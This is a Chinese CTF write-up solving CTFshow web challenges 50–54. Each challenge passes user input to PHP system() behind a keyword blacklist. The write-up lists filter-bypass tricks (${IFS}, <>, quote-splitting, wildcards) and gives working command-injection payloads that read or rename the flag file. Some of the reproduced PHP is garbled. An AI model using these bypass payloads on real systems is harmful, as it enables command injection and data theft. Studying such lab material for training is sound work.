CTFshow web(php命令执行 50-54)

web50

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-05 22:32:47

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET'c')){

c=_GET'c';

if(!preg_match("/\;|cat|flag| |0-9|\\\|\\\*\|more\|less\|head\|sort\|tail\|sed\|cut\|awk\|strings\|od\|curl\|\\\`\|\\%\|\\x09\|\\x26/i", c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(FILE);

}

做题之前先给大伙献上干货。

1.绕过cat使用:

tac more less head tac tail nl od(二进制查看) vi vim sort uniq rev

2.绕过空格用:

%09 <> {IFS} IFS$ {cat,fl*} %20

注:

%09 ##(Tab) %20 ##(space)

3.对flag的过滤(这里也就几个,索性就全丢出来了)

1.'' (例如fl''ag)

2."" (例如fl""ag)

3.? (例如fl??)

4.* (例如fl*)

来自我的文章: 一篇文章带你进阶CTF命令执行-CSDN博客

可以去看看,这里后面的题目我会围绕我文章的知识点来作答

这里 system($c." >/dev/null 2>&1");其实就是将内容写入黑洞的意思,你的命令执行内容被带走了,所以这里使用命令分割 || (只执行h前面的命令)

过滤了cat使用tac ,空格过滤了使用<>

flag过滤了那就变成fl''ag

payload:?c=tac<>fl''ag.php||

web51

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-05 22:42:52

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET'c')){

c=_GET'c';

if(!preg_match("/\;|cat|flag| |0-9|\\\|\\\*\|more\|less\|head\|sort\|tail\|sed\|cut\|tac\|awk\|strings\|od\|curl\|\\\`\|\\%\|\\x09\|\\x26/i", c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(FILE);

}

这里把tac过滤了,直接换成nl就好了

web52

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-05 22:50:30

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET'c')){

c=_GET'c';

if(!preg_match("/\;|cat|flag| |0-9|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(FILE);

}看准过滤条件,过滤了啥那就替换就好啊。

这里没有禁用那就使用{IFS}替换空格

payload;

?c=nl${IFS}fl''ag.php||

web53

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-07 18:21:02

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET'c')){

c=_GET'c';

if(!preg_match("/\;|cat|flag| |0-9|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){

echo($c);

d = system(c);

echo "<br>".$d;

}else{

echo 'no';

}

}else{

highlight_file(FILE);

}

这里没有写入黑洞里了,直接把上面payload复制然后删去||就好

payload:?c=nl${IFS}fl''ag.php

web54

<?php

/*

-*- coding: utf-8 -*-

@Author: Lazzaro

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-07 19:43:42

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET'c')){

c=_GET'c';

if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |0-9|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c);

}

}else{

highlight_file(FILE);

}

额,汗流浃背了,这过滤有点东西啊,之前的方法用不了了,这下只能文件写入了

payload:?c=mv{IFS}fla?.php{IFS}z.txt

这里稍微再说一下啊,我一开始使用的是z.php,但是不行啊,访问不了,只能使用txt,而且最烦恼的是如果你一开始使用了z.php后面再改成txt也没有用了,因为已经把flag写入了php,所以只能销毁容器重新来

真诚地希望我的文章能够帮助大家,谢谢,在这过年期间我也是迅速更新,最后祝大家龙年吉祥!

相关推荐
itmigrate8 小时前
前端项目里,Object.is 并不是 === 的平替
前端
小大宇9 小时前
Vue知识点6-computed计算属性
前端·javascript·vue.js
程序员海军10 小时前
尤雨溪 : Vue 4 已经在规划中了!
前端·javascript·vue.js
2601_9499706910 小时前
HumanizeDuration 跨端三方库仓颉适配全流程
前端·javascript·flutter
风骏时光牛马12 小时前
后端服务接口开发与性能优化
前端
kyriewen12 小时前
我让 4 个 AI 互相 review 代码,最温柔的那个下手最狠
前端·程序员·ai编程
计算机魔术师12 小时前
493家公司白砸AI钱?Apollo这组数据戳破了幻觉
前端
IT_陈寒12 小时前
Java静态变量初始化坑得我头皮发麻
前端·人工智能·后端
柳杉12 小时前
用 Codex 完成智慧高速 3D 可视化大屏,从 18 张行业设计稿到可交互的运行监测中心
前端·ai编程·数据可视化
运维行者_13 小时前
网络监控工具怎么选?从设备监控到智能运维的能力清单
运维·服务器·开发语言·网络·人工智能·支持向量机·php